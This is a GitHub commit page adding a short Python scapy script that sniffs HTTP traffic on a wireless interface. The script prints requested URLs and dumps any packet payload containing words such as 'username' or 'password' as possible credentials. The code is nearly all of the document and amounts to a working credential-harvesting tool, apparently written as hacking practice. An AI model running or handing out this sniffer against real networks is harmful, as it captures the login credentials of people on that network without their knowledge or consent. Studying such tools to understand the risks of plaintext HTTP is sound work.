-
Notifications
You must be signed in to change notification settings - Fork 0
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
GedorN
committed
Jul 19, 2022
1 parent
c0ddfea
commit 35d9df8
Showing
1 changed file
with
22 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,22 @@ | ||
#!/usr/bin/env python | ||
import scapy.all as scapy | ||
from scapy.layers import http | ||
|
||
def sniff(interface): | ||
scapy.sniff(iface=interface, store=False, prn=process_sniff_packet) | ||
|
||
def get_url(packet): | ||
return packet[http.HTTPRequest].Host + packet[http.HTTPRequest].Path | ||
|
||
def process_sniff_packet(packet): | ||
if packet.haslayer(http.HTTPRequest) and packet.haslayer(scapy.Raw): | ||
load = packet[scapy.Raw].load | ||
url = get_url(packet) | ||
print("[+] HTTP Request" + url.decode()) | ||
keywords = ["username", "user", "login", "password", "pass"] | ||
for keyword in keywords: | ||
if keyword in str(load): | ||
print(f"\n\n[+] Possible username/password > {load.decode()}\n\n") | ||
break | ||
|
||
sniff("wlp2s0") |